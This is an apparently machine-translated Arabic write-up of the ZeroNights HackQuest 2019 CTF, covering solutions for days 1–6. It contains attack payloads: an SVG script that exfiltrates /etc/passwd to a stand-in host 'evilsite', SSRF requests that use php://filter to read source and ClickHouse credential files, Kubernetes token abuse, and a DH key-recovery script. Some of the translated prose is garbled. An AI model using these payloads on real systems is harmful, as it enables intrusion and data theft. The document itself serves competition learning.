ZeroNights Hackquest 2019. النتائج والكتابة

في الآونة الأخيرة ، انتهى HackQuest السنوي ، المكرس لمؤتمر ZeroNights. كما في السنوات السابقة ، كان على المشاركين حل 7 مهام مختلفة - واحدة ليوم البحث. المهام ، كما هو الحال دائمًا ، ساعدت في إعداد شركاء مجتمعنا. يمكنك معرفة كيف تم حل المهام ، ومن أصبح الفائز بالقرصنة هذه المرة ، تحت القصاصة.


صورة

اليوم 1. أعلى سرية


الفائزين
1st مكانالمركز الثاني
vladvisgotdaswag

تم إعداد أول مهمة لهذا العام من قبل فريق تدقيق الأمن الرقمي . لحلها ، كان على المشاركين الانتقال عبر ثلاث مراحل: الوصول إلى محتويات الدردشة الداخلية لبوابة اللعبة ، واستغلال الثغرة الأمنية في Discord bot ، واستخدام إعداد الحقوق غير الصحيح في نظام Kubernetes.


قرار مهمة اليوم الأول (فلاديفز)

الخطوة الأولى: graphql


  • في البداية ، وصلنا إلى تطبيق ويب باستخدام لعبة من فئة js للعملاء وتقييمهم.
  • بالإضافة إلى الاستاتيك ، يتم تقديم طلب واحد فقط للواجهة الخلفية:
  • يمكنك الحصول على قائمة بجميع الأنواع وحقولها من خلال الاستعلام التالي:
    { __schema { types { name fields { name } } } } 
  • نرى حقل التعليق ، اطلبه في الطلب الأولي واحصل على رابط إلى الخطوة التالية.

الخطوة الثانية: Discord bot


  • يلتقي الروبوت بنا على الخادم وينشئ قناة منفصلة لنا
  • على الفور نرى تلميحًا من SSRF في gitea ، لكنني لم أصل إلى ذلك مطلقًا ()
  • نحاول قراءة الملف المحلي:
     <svg width="10cm" height="3cm" viewBox="0 0 1000 300" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <script type="text/javascript"> for (var i=0; trefs[i]; i++) { var xhr = new XMLHttpRequest(); xhr.open("GET","/etc/passwd",false); xhr.send(""); var xhr2 = new XMLHttpRequest(); xhr2.open("GET", "http://evilsite/?p="+btoa(xhr.responseText),false); xhr2.send(""); } </script> </svg> 
  • نحصل على / etc / passwd ونرى مستخدمين اثنين: عامل ، يتم تقديم svg و gitea نيابة عنه
     worker:x:1000:1000::/home/worker:/bin/sh gitea:x:1001:1001::/home/gitea:/bin/sh 
  • ذهبت هذه الخطوة عبر مسار غير مقصود: في .bash_history ، كان لدى العامل مسارات إلى مفتاح ssh وعنوان الخادم إلى المرحلة التالية
     cd nano .ssh/connect_info echo > .bash_history exit cd cd .ssh/ chmod 755 id_rsa ls -al cat id_rsa exit 

    الخطوة الثالثة: kubernetes

  • يبدو أنني وصلت إلى هذه المرحلة أولاً. .bash_history و ps فارغان ، ومن هذا استنتجت أنه لكل بيئة الملكية الفكرية يتم إنشاء بيئة معزولة
  • تم العثور على رمز ل kubernetes في جبل
  • في البداية ، لم يكن من الواضح أين يمكنني الحصول على الرمز المميز ، وبدأت في فحص الشبكة ... وفي مرحلة ما بدأت أسير في الجيران في السحابة
  • بعد ذلك ، تم إصدار تلميح حول الشبكات الفرعية التي تم مسحها ، وتم العثور على بقية api kubernetes على الفور تقريبًا
  • في هذه المرحلة ، أدركت أنني لست وحدي على الخادم ، ولم تكن هناك رغبة في قص شيء ما ، على سبيل المثال ، إخفاء قناع cmdline ، لذلك قررت أن أفعل ذلك أسهل أنها أكثر إيلاما وتنتقل إلى نفسها الجوارب وكيل من خلال سه
  • باستخدام kubectl get pods ، تم الحصول على قائمة الحاويات ، واقترح وثائق kubernetes أن exec يمكن استخدامها مع بناء الجملة نفسه كما عامل ميناء
  • ثم كان هناك 1.5 ساعة من المعاناة مع وكيل الجوارب ، والتي من خلالها لم يرتفع websocket ل exec. انتهى بي الحال الذهاب مباشرة إلى kubectl عبر سه
  • تحتوي الحاوية الثانية على رمز جديد وتمتلك بالفعل الوصول إلى الكتلة في مساحة الاسم المجاورة zn2 (في البداية نحن في مساحة الاسم zn1) ، حيث كان redis مرئيًا
  • نذكر التقرير paulaxe من Zeronights الماضية والحصول على RCE ، على سبيل المثال ، باستخدام PoC
  • بعد تلقي الرمز المميز التالي ، يمكنك سحب العلم من أسرار kubernetes

يوم 2. MICOSOFT LUNIX


الفائزين
1st مكانالمركز الثانيالمركز الثالث
ممزقSin__AV1ct0r
قرر أيضًا: demidov_al ، gotdaswag ، medidrdrider ، groke_is_love_groke_is_life

تم إعداد مهمة اليوم الثاني من قبل أعضاء مجتمع R0 Crew . لحل هذه المشكلة ، تحتاج إلى إنشاء مفتاح تنشيط لصورة Linux باستخدام نواة معدلة.


قرار مهمة اليوم الثاني (ممزقة)

المقدمة: ملف jD74nd8_task2.iso ، صورة ISO قابلة للتشغيل. من الملفات الموجودة داخل الصورة ، يمكننا أن نفترض أنه Linux: يوجد boot/kernel.xz kernel boot/kernel.xz ، boot/rootfs.xz ramdisk boot/rootfs.xz الأولي boot/rootfs.xz التمهيد boot/syslinux/ .


نحن نحاول فك جوهر و ramdisk. Ramdisk هنا هو أرشيف cpio منتظم مضغوط بواسطة xz. فك حزمة النواة باستخدام البرنامج النصي https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux . يمكنك أيضًا الانتباه إلى معلومات kernel:


 > file kernel.xz kernel.xz: Linux kernel x86 boot executable bzImage, version 5.0.11 (billy@micosoft.com) #1 SMP Sat Aug 25 13:37:00 CEST 2019, RO-rootFS, swap_dev 0x2, Normal VGA 

على طول الطريق ، نجد في الصورة iso المهمة الأساسية لـ minimal/rootfs/bin/activator : كل ​​ذلك يعود لكتابة بيانات البريد الإلكتروني المدخلة ومفتاح التنشيط للجهاز /dev/activate بالتنسيق $email|$key . في حالة إجراء فحص مفتاح ناجح ، ستؤدي القراءة من /dev/activate إلى إنتاج خط ACTIVATED ، وسيبدأ المنشط في هذه الحالة باللعبة 2048.


لقد حان الوقت للنظر في المهمة في الديناميات. للقيام بذلك ، قم بتشغيل المحاكي في KVM:


 > qemu-system-x86_64 -enable-kvm -drive format=raw,media=cdrom,readonly,file=jD74nd8_task2.iso 

يبدأ Linux ويقوم فوراً بتشغيل /bin/activator من التراكب. هذا هو مكتوبة في /etc/inittab . لتجنب الحفر في الثنائيات لفترة طويلة ، أردت الحصول على صدفة وإلقاء نظرة على /proc و /sys على الأقل. أسهل طريقة بالنسبة لي هي ببساطة تحميل ملف iso إلى المكان الذي يوجد به البرنامج النصي المنشط نفسه. بدلًا من مجموعة sleep 1 /bin/sh ، أي تلقيت قذيفة بعد كل محاولة لإدخال مسلسل.


إذن هناك قذيفة: يبدو أن /proc/kallsyms غائبة ، أي شخصيات نواة مفقودة. معهم ، بالطبع ، سيكون أسرع بكثير ، لكن هذا جيد. نحن نبحث عن معلومات حول الجهاز /dev/activator :


 / # ls -la /dev/activate crw------- 1 0 0 252, 0 Oct 15 08:57 /dev/activate / # cat /proc/devices Character devices: ... 252 activate ... Block devices: ... 

من المعلومات الموجودة في /proc/devices يمكن ملاحظة أن هذا جهاز char له إصدار رئيسي 252 و ثانوي 0.


لقد حان الوقت للعثور على وظيفة التسجيل لهذا الجهاز في binar binar للعثور على المعالج لعملية write الخاصة به. للقيام بذلك ، ابحث عن إشارات مرجعية إلى السلسلة activate . ولكن لا يوجد مثل هذا الخط في النواة ، وربما يكون مخفيًا بطريقة ما.


في المحاولة التالية ، نحاول العثور على الوظائف المسؤولة عن تسجيل أجهزة الشخصيات: cdev_add و register_chrdev . يمكن القيام بذلك عن طريق المراجع التبادلية /dev/console أو أي جهاز حرف آخر وأخذ شفرة مصدر kernel (أخذت الإصدار 5.0.11 ، لكنني لست متأكدًا مما إذا كان الإصدار صحيحًا). بعد الاطلاع على قائمة الأجهزة التي يتم تسجيلها ، لم نعثر على جهاز به إصدار رئيسي 252 ، ومن المحتمل ألا تسجل هاتان الوظيفتان.


دعونا نحاول البحث عن بعض القرائن الأخرى في الديناميات:


 / # ls -la /sys/dev/char/252:0 lrwxrwxrwx 1 0 0 0 Oct 15 09:00 /sys/dev/char/252:0 -> ../../devices/virtual/EEy????I/activate 

وإليك EEy????I جهاز EEy????I نحاول العثور على هذا الخط في binar وهو موجود!



على الرغم من عدم وجود إشارات مرجعية إلى ذلك ، ولكن بجانبه توجد بيانات مرئية تشبه السلاسل. إذا نظرت إلى الكود الذي يستخدمها ، يمكنك أن ترى أن هذه هي معالجات القراءة والكتابة المطلوبة لجهاز activate المشفر باستخدام XOR البسيط.


قراءة وظيفة المعالجة:



وظيفة معالجة عملية الكتابة ، بل هو أيضا فحص الترخيص:



أظهر الفحص السريع لرمز التحقق من التنشيط أنه من الأسهل وضع نقطة توقف على العنوان 0xFFFFFFFF811F094B والتقاط رمز التنشيط هناك ، دون الخوض في حقيقة ما يحدث هناك. للقيام بذلك ، قم بتشغيل qemu مع العلم -s . في هذه الحالة ، يقوم qemu بتشغيل كعب gdb ، والذي يسمح لك باستخدام أي عميل gdb. أسهل وأسرع طريقة للقيام بذلك في IDA Pro ، إذا كان لديك ترخيص. ولكن لا أحد يمنع القيام بكل شيء في وحدة التحكم gdb.


نحن نفعل كل شيء كما هو موضح في البرنامج التعليمي الرسمي. أنت الآن بحاجة إلى العثور على وظيفة المعالجة داخل النواة قيد التشغيل بالفعل.




منذ أن تم تصميم kernel بدعم KASLR ، يتم تحويل عناوين kernel قيد التشغيل إلى إزاحة عشوائية يتم إنشاؤها في كل مرة يبدأ فيها kernel. نقوم بحساب هذا الإزاحة (نأخذ عنوان تسلسل البايت الفريد في رمز النواة المصححة ونطرح عنوان هذا التسلسل في الثنائي منه) ، وإضافة وظيفة التنشيط إلى العنوان ، نجدها في الذاكرة. كل شيء ، الآن الأمر متروك للصغار. تعيين نقطة توقف والتقاط الرمز.





تم بالفعل نشر حل هذه المهمة على المحور بواسطة أحد المشاركين. يمكنك التعرف عليها هنا .


اليوم 3. منزل BECHED


الفائزين
1st مكان
blackfan

وظيفة أعدتها beched ( DeteAct ). تم استقبال المشاركين من خلال صفحة دفع غير ملحوظة. بالنسبة للحل ، كان من الضروري الوصول إلى قاعدة بيانات Clickhouse باستخدام ميزة دالة php file_get_contents .


قرار مهمة اليوم الثالث (blackfan)

المهمة هي صفحة دفع ، حيث كانت المعلمة الشيقة الوحيدة callback_url.


https://i.imgur.com/iX65TI3.png


نشير إلى موقعك ونلبي الطلب:


 http://82.202.226.176/?callback_url=http://attacker.tld/&pan=&amount=&payment_id= 

 POST / HTTP/1.0 Host: attacker.tld Connection: close Content-Length: 21 Content-Type: application/json amount=0&payment_id=0 

يتم عرض استجابة HTTP فقط إذا قام الموقع بإرجاع سلسلة أبجدية رقمية. أمثلة على الإجابات:


 {"result":"Success.","msg":"Response: testresponse"} {"result":"Invalid status code.","msg":"Non-alphanumeric response."} 

نحن نحاول كبيانات callback_url: ، اختبر ونفهم ، على الأرجح ، أن هذا هو PHP.


 http://82.202.226.176/?callback_url=data:,test&pan=&amount=&payment_id= 

نحن نستخدم php: // filter لقراءة الملفات المحلية وترميز الاستجابة باستخدام convert.base64-encode بحيث تتطابق الإجابة مع أبجدية رقمية. نظرًا للأحرف + و / و = ، في بعض الأحيان يكون من الضروري دمج عدة مكالمات base64 لعرض إجابة.


 http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./index.php http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./includes/db.php 

 <?php error_reporting(0); /* * DB configuration */ $config = [ 'host' => 'localhost', 'port' 

يقتصر إخراج الاستجابة على 200 بايت ، ولكن من الأجزاء التي نتعرف على مدى توفر قاعدة البيانات على المضيف المحلي. نقوم بالفرز عبر المنافذ عبر callback_url ونجد مقالًا جديدًا عن الحقن في ClickHouse على مدونة DeteAct ، والذي يتوافق مع اسم المهمة الغريب "HOUSE OF BECHED".


https://i.imgur.com/OBn22wi.png


ClickHouse لديه واجهة HTTP التي تسمح لك بأداء طلبات عشوائية ، والتي هي مريحة جدا للاستخدام في SSRF.


نقرأ الوثائق ، نحاول الحصول على حساب من التكوين.


 http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id= 

 <?xml version="1.0"?> <yandex> <!-- Profiles of settings. --> <profiles> <!-- Default settibm 

مرة أخرى ، فإن الحد من المخرجات يتداخل ، وإذا حكمنا من خلال الملف القياسي ، فإن الحقل المطلوب بعيد للغاية.


https://i.imgur.com/5Un6gfj.png


قص الفائض باستخدام عامل تصفية string.strip_tags.


 http://82.202.226.176/?callback_url=php://filter/string.strip_tags|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id= 

لكن طول الإخراج لا يزال غير كافٍ حتى يتم تلقي كلمة المرور. إضافة عامل تصفية ضغط zlib.deflate.


 http://82.202.226.176/?callback_url=php://filter/string.strip_tags|zlib.deflate|convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id= 

وقراءة محليا في ترتيب عكسي:


 print(file_get_contents('php://filter/convert.base64-decode|convert.base64-decode|zlib.inflate/resource=data:,NCtYaTVWSUFBbVFTRnd1VFoyZ0FCN3hjK0JRU2tDNUt6RXZKejBXMms3QkxETkVsZUNueVNsSnFja1pxU2taK2FYRnFYbjVHYW1JQmZoZWo4a0RBeWtyZkFGME5QajBwcVdtSnBUa2xWRkNFNlJaTUVWSkZRU0JSd1JZNWxGRTFVY3NLYllVa0JiV2NFbXNGUTRYOElv')); 

بعد تلقي كلمة المرور ، يمكننا إرسال طلبات ClickHouse على النحو التالي:


 http://localhost:8123/?query=select%20'xxx'&user=default&password=bechedhousenoheap http://default:bechedhousenoheap@localhost:8123/?query=select%20'xxx' 

ولكن نظرًا لأننا نرسل POST في البداية ، فنحن بحاجة إلى الالتفاف على ذلك باستخدام إعادة التوجيه. وقد تحول الطلب النهائي بهذا الشكل (في هذه المرحلة كنت غبية جدًا ، لأنه بسبب التعشيش الكبير في معالجة المعلمات ، قمت بترميز الأحرف الخاصة بشكل غير صحيح ولم أستطع تنفيذ الطلب)


 http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520'xxx'%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id= 

حسنًا ، فقط احصل على البيانات من قاعدة البيانات:


 select name from system.tables select name from system.columns where table='flag4zn' select bechedflag from flag4zn 

 http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520bechedflag%252520from%252520flag4zn%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id= 

اليوم 4. ASR-EHD


الفائزين
1st مكان
AV1ct0r

تم إعداد مهمة اليوم الرابع من قبل قسم أبحاث الأمن الرقمي . كانت المهمة الرئيسية للمهمة هي إظهار كيف يمكن أن يؤثر الاختيار الخاطئ لمصدر الأرقام العشوائية على خوارزمية التشفير. في Taskka ، تم تنفيذ مولد مفتاح عشوائي عشوائي مكتوب ذاتيًا لـ DH ، استنادًا إلى LFSR. عند تلقي عدد كافٍ من مصافح TLS المتتالية باستخدام قيم DH العامة ، كان من الممكن استعادة الحالة الأولية لـ LFSR وفك تشفير كل حركة المرور.


قرار مهمة اليوم الرابع (AV1ct0r)

اليوم 4 / ASR-EHD - برنامج WriteUp بواسطة AV1ct0r


بيتر هو بجنون العظمة: يستخدم دائمًا الاتصالات المشفرة. للتأكد من أن الخوارزميات آمنة يستخدم بيتر عميله. حتى أنه قدم لنا تفريغ حركة المرور الذي تم أثناء استخدام العميل المخصص له. هل اتصال بيتر آمن حقًا؟


https://hackquest.zeronights.org/downloads/task4/8Jdl3f_client.tar
https://hackquest.zeronights.org/downloads/task4/d8f3ND_dump.tar


  1. افتح ملف العميل في IDA Pro واكتشف أنه يمكن تنزيل جزء من ملف flag.jpg من الخادم https://ssltest.a1exdandy.me:443/ . يتم أخذ أي جزء من الملف لتنزيله (من أي بايت) من سطر الأوامر.


     signed __int64 __fastcall main(int argc, char **argv, char **a3) { size_t v4; // rsi __int64 v5; // ST48_8 int v6; // [rsp+10h] [rbp-450h] int v7; // [rsp+14h] [rbp-44Ch] __int64 v8; // [rsp+20h] [rbp-440h] __int64 v9; // [rsp+28h] [rbp-438h] __int64 v10; // [rsp+30h] [rbp-430h] __int64 v11; // [rsp+38h] [rbp-428h] __int64 v12; // [rsp+40h] [rbp-420h] char ptr; // [rsp+50h] [rbp-410h] unsigned __int64 v14; // [rsp+458h] [rbp-8h] v14 = __readfsqword(0x28u); if ( argc != 3 ) return 0xFFFFFFFFLL; v6 = atoi(argv[1]); v7 = atoi(argv[2]); if ( v6 < 0 || v7 < 0 || v7 <= v6 ) return 0xFFFFFFFFLL; v8 = 0LL; v9 = 0LL; v10 = 0LL; OPENSSL_init_ssl(0LL, 0LL); OPENSSL_init_crypto(2048LL, 0LL); v11 = ENGINE_get_default_DH(2048LL, 0LL); if ( v11 ) { if ( (unsigned int)ENGINE_init(v11) ) { v12 = ENGINE_get_DH(v11); if ( v12 ) { v8 = DH_meth_dup(v12); if ( v8 ) { if ( (unsigned int)DH_meth_set_generate_key(v8, dh_1) ) { if ( (unsigned int)ENGINE_set_DH(v11, v8) ) { v5 = TLSv1_2_client_method(v11, v8); v10 = SSL_CTX_new(v5); if ( (unsigned int)SSL_CTX_set_cipher_list(v10, "DHE-RSA-AES128-SHA256") ) { v9 = BIO_new_ssl_connect(v10); BIO_ctrl(v9, 100LL, 0LL, (__int64)"ssltest.a1exdandy.me:443"); if ( BIO_ctrl(v9, 101LL, 0LL, 0LL) >= 0 ) { BIO_ctrl(v9, 101LL, 0LL, 0LL); BIO_printf(v9, "GET /flag.jpg HTTP/1.1\n", argv); BIO_printf(v9, "Host: ssltest.a1exdandy.me\n"); BIO_printf(v9, "Range: bytes=%d-%d\n\n", (unsigned int)v6, (unsigned int)v7); v4 = (signed int)BIO_read(v9, &ptr, 1024LL); fwrite(&ptr, v4, 1uLL, stdout); } else { v4 = 1LL; fwrite("Can't do connect\n", 1uLL, 0x11uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set cipher list\n", 1uLL, 0x16uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set DH methods\n", 1uLL, 0x15uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set generate_key method\n", 1uLL, 0x1EuLL, stderr); } } else { v4 = 1LL; fwrite("Can't dup dh meth\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } } else { v4 = 1LL; fwrite("Can't init engine\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } if ( v11 ) { ENGINE_finish(v11, v4); ENGINE_free(v11); } if ( v8 ) DH_meth_free(v8, v4); if ( v10 ) SSL_CTX_free(v10, v4); if ( v9 ) BIO_free_all(v9, v4); return 0LL; } 

    لم تكن هناك صور تحمل العلامة على الخادم ، ولكن تبين أن dump.pcap لديها مجموعة من زيارات ssl ، مع وجود قطع من الصورة. بعد إجراء فحص سريع للخادم من أجل heartbleed (لسرقة مفتاح خاص لفك تشفير حركة المرور) ، تبين أن الخادم ليس عرضة للخطر. بالإضافة إلى ذلك ، في جلسات SSL ، وفقًا لتفريغ حركة المرور والعميل ، يتم استخدام التشفير DHE-RSA-AES128-SHA256 ، حيث يتم استخدام RSA فقط للتوقيع ، ويتم تبادل المفاتيح وفقًا لنظام Diffie-Hellman (مفتاح خادم RSA خاص في هذا الوضع لن يساعدنا ).


  2. بعد قليل من podirbastiv ، وجد الخادم الملف https://ssltest.a1exdandy.me/x ، وهو عبارة عن برنامج ضار بسيط ، وعنوان المسؤول مخيط فيه هو 0x82C780B2697A0002 (0x82C780B2: 0x7a69 = 178.128.199.130 Opin1337). عند الاتصال بالمنفذ 31337 ، تبين أن الخادم يدعم 3 أوامر ، بعضها يطلب وسيطات إضافية


     nc 178.128.199.130 31337 Yet another fucking heap task... Command: 1-3 1 - Index: - Size: 2 - Index: 3 - Index: - Length: 

    ولكن لا يمكن القيام بأي شيء أكثر مع هذا المنفذ ، وعلى الأرجح كانت مهمة صرف الانتباه.


  3. بعد النظر بعناية إلى العميل ، رأيت أنه يستخدم مولد أسرار Diffie-Hellman مخصص:


     int __fastcall rnd_work(__int64 a1) { __int64 v1; // rsi unsigned int i; // [rsp+10h] [rbp-10h] rnd_read(); BN_bin2bn(&RANDOM_512, 512LL, a1); BN_lshift1(a1, a1); v1 = (unsigned int)BITS_ind[0]; // BITS_ind dd 4096, 4095, 4081, 4069, 0 if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[0]) ) { for ( i = 0; i <= 4; ++i ) { if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[i]) ) { v1 = (unsigned int)BITS_ind[i]; BN_clear_bit(a1, v1); } else { v1 = (unsigned int)BITS_ind[i]; BN_set_bit(a1, v1); } } } if ( (unsigned int)((signed int)((unsigned __int64)BN_num_bits(a1) + 7) / 8) > 0x200 ) { printf("Err!", v1); exit(0); } BN_bn2binpad(a1, &RANDOM_512, 512LL); return rnd_write(); } 

    في البداية ، تتم قراءة السر (512 بايت) من / dev / urandom وحفظه في ملف الحالة. مع كل طلب لاحق ، يحدث السحر التالي بسر:


     XOR = 2**4096 + 2**4095 + 2**4081 + 2**4069 + 1 CMP = 2**4096 state *= 2 if state > CMP: state ^= XOR 

    يتم تحويل السر كرقم طويل 1 بت إلى اليسار ، وإذا كان البتة الأكثر أهمية هو 1 ، فإن الرقم يكون ثابتًا من 5 بتات غير صفرية (XOR).



بالنظر إلى pcap ، رأيت أن معلمات Diffie-Hellman التي تصل من الخادم ثابتة:


 dh_g = 2 dh_p = 

وفي كل مرة يتم إنشاء اتصال ، يرسل العميل الجزء العام من سر Diffie-Hellman. بمقارنة الأجزاء العامة من أسرار الجلسات المجاورة ، يمكنك استعادة السر الأولي للعميل ، ومن ثم كل الأسرار اللاحقة لكل جلسة:
إذا كان أعلى جزء من السر هو 0 ، فسيكون السر في الجلسة التالية أكبر بمرتين ، وسيتم تربيع الجزء العام بمعامل p. وبالتالي ، كان من الممكن استعادة السر الأولي (ما تمت قراءته من / dev / urandom) mod p:


212030266574081313400816495535550771039880390539286135828101869037345869420205997453325815053364595553160004790759435995827592517178474188665111332189420650868610567156950459495593726196692754969821860322110444674367830706684288723400924718718744572072716445007789955072532338996543460287499773137785071615174311774659549109541904654568673143709587184128220277471318155757799759470829597214195494764332668485009525031739326801550115807698375007112649770412032760122054527000645191827995252649714951346955180619834783531787411998600610075175494746953236628125613177997145650859163985984159468674854699901927080143977813208682753148280937687469933353788992176066206254339449062166596095349440088429291135673308334245804375230115095159172312975679432750163246936266603077314220813042048063033927345613565227184333091534551071824033535159483541175958867122974738255966511008607723675431569961127852005437047813822454112416864211120323016008267853722731311026233323235121922969702016337164336853826598082855592007126727352041124911221048498141841625765390204460725231581416991152769176243658310857769293168120450725070030636638954553866903537931113666283836250525318798622872347839391197939468295124060629961250708172499966110406527347

ومن السهل حساب أسرار جميع الجلسات الأخرى.


وهنا كانت هناك مشاكل:
أ) Wireshark غير قادر على فك تشفير SSL ، ومعرفة أسرار Diffie-Hellman ، ولم تكن هناك حلول جاهزة. يجب علينا معرفة السر العام ل Diffie-Hellman (تُعرف أيضًا باسم جلسات ما قبل الماجستير) ، واستخدامها للعثور على جلسة رئيسية رئيسية باستخدام دراجة كبيرة (لا أعتقد أن هناك دراجات في SSL). بعد ذلك ، يمكنك إنشاء ملف SSLKEYLOG لكتابة عميل عشوائي (في كل جلسة SSL) والمفتاح الرئيسي ، وتحديده في إعدادات WireShark لفك تشفير SSL والربح نظريًا.


ولكن ظهرت بعض المشكلات الأخرى:
B) PHP تعتبر بطيئة جدا (لا تستخدم bcadd ، وظائف bcpowmod ...) ، قررت إعادة كتابته في الثعبان.
C) لا يمكن العثور على صيغة حساب المفتاح الرئيسي بواسطة المفتاح pre-master في شكل بشري ، ssl صعب للغاية أن نفهم ، لم أستطع الحصول على openssl لإخراج نتائج العمليات الحسابية الوسيطة أيضًا. نتيجةً لذلك ، استخدمت هذا الرمز والوصف ونوعًا من RFC:


نتيجة لذلك ، بعد نصف يوم تمكنت من تراكب هذا (بالنسبة لي ، لم أستطع الاستغناء عن الدراجات):


 for i in xrange(0, 4264): dh_secret = pow(srv_pubkeys[i], state, dh_p) dh_secret = hex(dh_secret)[2:-1] if len(dh_secret) % 2 : dh_secret = "0"+dh_secret while dh_secret[0:2] == "00": dh_secret = dh_secret[2:] dh_secret = dh_secret.decode("hex") seed = "master secret"+(cl_random[i].strip() + srv_random[i].strip()).decode("hex") A = seed master_key = "" for j in xrange(0, 2): A = hmac.new(dh_secret, A, hashlib.sha256).digest() master_key += hmac.new(dh_secret, A+seed, hashlib.sha256).digest() master_key = master_key[0:48].encode("hex") print "CLIENT_RANDOM " + cl_random[i].strip() + " " + master_key state *= 2 if state > CMP: state ^= XOR 

د) لتمزيق مختلف عميل عشوائي ، ... من جلسات Wireshark ، تم استخدام التصدير إلى CSV والبحث في حركة المرور الخام عن ما حصل في CSV باسم "...".


E) لفك تشفير 4264 جلسة ، قرر WireShark تناول الكثير من غيغابايت من المنطوق (8 لم يكن كافياً بالنسبة له) ، ولكن لا شيء ، يمكنك تشغيل كل شيء على جهاز كمبيوتر قوي ، وليس على كمبيوتر محمول ضعيف. ومع ذلك ، عند تصدير كائنات http (قطع مشفرة من صورة) ، يمكن لـ WireShark حفظ ملفات 1000 الأولى فقط ، ثم ينتهي ترقيمها. نتيجة لذلك ، اضطررت إلى تقسيم pcap إلى 5 أجزاء من 1000 جلسة tcp في كل منها. وكانت النتيجة هذه صورة جميلة بعد لصق جميع القطع:



يمكن العثور على جميع الملفات التي يستخدمها الفائز لحل المهمة هنا .


اليوم 5. شل المحمية


الفائزين
1st مكانالمركز الثانيالمركز الثالث
فوسBartimaeousCLO
قرر أيضًا: مكسيم برونين ، 0x3c3e ، tinkerlock ، demidov_al ، x @ secator ، groke_in_the_sky ، d3fl4t3

المهمة من إعداد RuCTFE . تم إعطاء المشاركين ملفًا تنفيذيًا غامضًا مزودًا بعدد من أساليب مكافحة التصحيح. يشبه الملف القابل للتنفيذ عميل SSH المتصل بخادم معروف مسبقًا. المهمة هي فهم خوارزمية هذا الملف للحصول على تنفيذ الأوامر على الخادم. تضمن حل المؤلف تجاوز مكافحة التشويش وتحليل التشويش.


تجدر الإشارة إلى أن أسرع المشاركين قام بحل المهمة بطريقة أصلية مختلفة عن تلك التي خطط لها المؤلف ، وبعد ذلك وجد حلاً آخر. يمكنك أن ترى كيف فعل ذلك تحت المفسد أدناه.


خيارات حلول مهام اليوم الخامس (vos)


يوم 6. فتح


الفائزين
1st مكانالمركز الثانيالمركز الثالث
gotdaswagmedidrdridersysenter

تم إعداد مهمة اليوم السادس من قبل فريق VolgaCTF . إعطاء ملف قابل للتنفيذ يقوم بتنفيذ خوارزمية تشفير مخصصة. وتتمثل المهمة في فك تشفير الملف المحدد في الشرط ، مشفرًا باستخدام هذه الخوارزمية ، دون وجود مفتاح معروف.


حل مهمة اليوم السادس (gotdaswag)

INTRO


إعطاء أرشيف مع ملفين ، خزانة و secret.png.enc .


الملف الأول هو ELF لنظام التشغيل Linux x86-64 ، والذي يستقبل ملفًا ومفتاح تشفير كمدخلات ، والثاني هو صورة PNG مشفرة.


 # ./locker Required option 'input' missing Usage: ./locker [options] Options: -i, --input in.png Input file path -o, --output out.png.enc Output file path -k, --key 0004081516234200 Encryption key in hex -h, --help Print this help menu 

LOCKER


بعد تحليل الملف في المؤسسة الدولية للتنمية ، نجد خوارزمية التشفير في المشروع :: الوظيفة الرئيسية .



بعد دراسته ، نفهم أن هذا عبارة عن تشفير بلوك (ECB) ، بحجم كتلة 32 بت ، وحجم رئيسي يبلغ 64 بت وعدد جولات 77 .


نسخة بيثون

 def encrypt(p, k, rounds=77): for i in range(0, rounds): n = (p >> 4) & 1 n |= (p >> 26) & 0xE0 n |= (p >> 22) & 0x10 n |= (p >> 13) & 8 n |= (p >> 7) & 4 n |= (p >> 4) & 2 x = p ^ k x ^= p >> 12 x ^= p >> 20 x &= 1 y = 1 << n y &= 0xBB880F0FC30F0000 y >>= n y &= 1 if x == y: p &= 0xFFFFFFFE else: p |= 1 k = ror(k, 1, 64) p = ror(p, 1, 32) return p 

سر مفتاح


نحن نعلم أن الملف المشفر هو صورة PNG .
وفقًا لذلك ، نحن نعرف بضعة نص مشفر في شكل رأس ملف (وهو أمر قياسي بالنسبة لـ PNG).


لنجرب الطريقة البسيطة واستخدام SMT solver ( Z3 ) للعثور على مفتاح التشفير.
للقيام بذلك ، قم بتعديل الشفرة قليلاً وأرسل إلى زوج من النص المشفر.


task6_key.py

